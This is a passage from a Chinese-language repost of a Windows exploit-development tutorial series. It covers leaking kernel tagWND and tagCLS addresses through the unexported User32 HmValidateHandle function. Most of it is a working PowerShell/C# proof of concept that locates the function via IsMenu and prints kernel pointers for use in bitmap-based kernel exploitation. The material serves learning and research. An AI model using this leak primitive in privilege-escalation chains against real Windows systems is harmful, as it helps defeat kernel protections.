- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
Leak 2 => User32::HmValidateHandle
HmValidateHandle 第一次被使用是在 2011 年 @kernelpool 攥写的论文 Kernel Attacks through User-Mode Callbacks 中提出的,随后不久这一技术就被用在了各种 exp 中,包括 CVE-2016-7255 as exploited by Fancy Bear 。
HmValidateHandle 是一个很有意思的函数,我们可以提供一个 Window 句柄给它,它会返回桌面堆上用户映射的 tagWND 对象,这简直太好用了!通过这种方式我们可以获取完整的 TEB 解析和爆破。唯一的问题在于 HmValidateHandle 并未被 user32 导出,所以我们需要一些技巧来获取它的地址。
从一大堆公开的解释中我们发现 HmValidateHandle 与导出的 User32::IsMenu 函数最近,让我在 KD 中看看。
确实不痛不痒!我们需要做的就是获取 User32::IsMenu 运行时地址,寻找第一个 0xE8 字节(call xxx) 并攫取出 HmValidateHandle 的指针。我们可以利用下面的一段代码实现。
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public class HmValidateHandleBitmap
{
delegate IntPtr WndProc(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
struct WNDCLASS
{
public uint style;
public IntPtr lpfnWndProc;
public int cbClsExtra;
public int cbWndExtra;
public IntPtr hInstance;
public IntPtr hIcon;
public IntPtr hCursor;
public IntPtr hbrBackground;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszMenuName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpszClassName;
}
[DllImport("user32.dll")]
static extern System.UInt16 RegisterClassW(
[In] ref WNDCLASS lpWndClass);
[DllImport("user32.dll")]
public static extern IntPtr CreateWindowExW(
UInt32 dwExStyle,
[MarshalAs(UnmanagedType.LPWStr)]
string lpClassName,
[MarshalAs(UnmanagedType.LPWStr)]
string lpWindowName,
UInt32 dwStyle,
Int32 x,
Int32 y,
Int32 nWidth,
Int32 nHeight,
IntPtr hWndParent,
IntPtr hMenu,
IntPtr hInstance,
IntPtr lpParam);
[DllImport("user32.dll")]
static extern System.IntPtr DefWindowProcW(
IntPtr hWnd,
uint msg,
IntPtr wParam,
IntPtr lParam);
[DllImport("user32.dll")]
public static extern bool DestroyWindow(
IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool UnregisterClass(
String lpClassName,
IntPtr hInstance);
[DllImport("kernel32",CharSet=CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
public delegate IntPtr HMValidateHandle(
IntPtr hObject,
int Type);
[DllImport("gdi32.dll")]
public static extern IntPtr CreateBitmap(
int nWidth,
int nHeight,
uint cPlanes,
uint cBitsPerPel,
IntPtr lpvBits);
public UInt16 CustomClass(string class_name, string menu_name)
{
m_wnd_proc_delegate = CustomWndProc;
WNDCLASS wind_class = new WNDCLASS();
wind_class.lpszClassName = class_name;
wind_class.lpszMenuName = menu_name;
wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
return RegisterClassW(ref wind_class);
}
private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
{
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
private WndProc m_wnd_proc_delegate;
}
"@
#------------------[Create/Destroy Window]
# Call nonstatic public method => delegWndProc
$AtomCreate = New-Object HmValidateHandleBitmap
function Create-WindowObject {
$MenuBuff = "A"*0x8F0
$hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
[HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
}
function Destroy-WindowObject {
param ($Handle)
$CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
$CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
}
#------------------[Cast HMValidateHandle]
function Cast-HMValidateHandle {
$hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
$lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
# Get HMValidateHandle pointer
for ($i=0;$i-lt50;$i++) {
if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
$HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
[IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
}
}
if ($lpHMValidateHandle) {
# Cast IntPtr to delegate
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
}
}
#------------------[Window Leak]
function Leak-lpszMenuName {
param($WindowHandle)
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
$pCLSOffset = 0xa8
$lpszMenuNameOffset = 0x90
} else {
$pCLSOffset = 0x98
$lpszMenuNameOffset = 0x88
}
# Cast HMValidateHandle & get window desktop heap pointer
$HMValidateHandle = Cast-HMValidateHandle
$lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
# Calculate all the things
$ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
$KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
$lpszMenuName = [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
echo "`n[+] ulClientDelta: $('{0:X16}' -f $ulClientDelta)"
echo "[+] User tagWND: $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
}
$hWindow = Create-WindowObject
echo "`n[+] Window handle: $hWindow"
Leak-lpszMenuName -WindowHandle $hWindow
运行 POC,本质上它给了我们和第一种泄露同样的结果,但它更为简洁。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论